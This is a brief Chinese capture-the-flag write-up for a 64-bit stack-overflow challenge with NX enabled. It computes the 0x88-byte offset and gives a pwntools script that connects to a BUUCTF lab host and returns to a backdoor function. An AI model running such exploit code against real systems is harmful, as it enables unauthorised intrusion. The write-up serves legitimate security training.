64位,开启了NX保护
运行效果如下:
main函数:
vulnerable_function()函数
buf变量长度为128,但是read可以读入0x200长度的字符,存在栈溢出,需要覆盖的长度为0x80+8
寻找后门函数
这里可以直接用栈溢出的exp,稍微改一下就可以:
#!/usr/bin/python from pwn import *io=remote("node5.buuoj.cn",28635)
payload=b'a'*(0x80+8)+p64(0x400596+1)
io.sendline(payload)
io.interactive()
运行结果如下: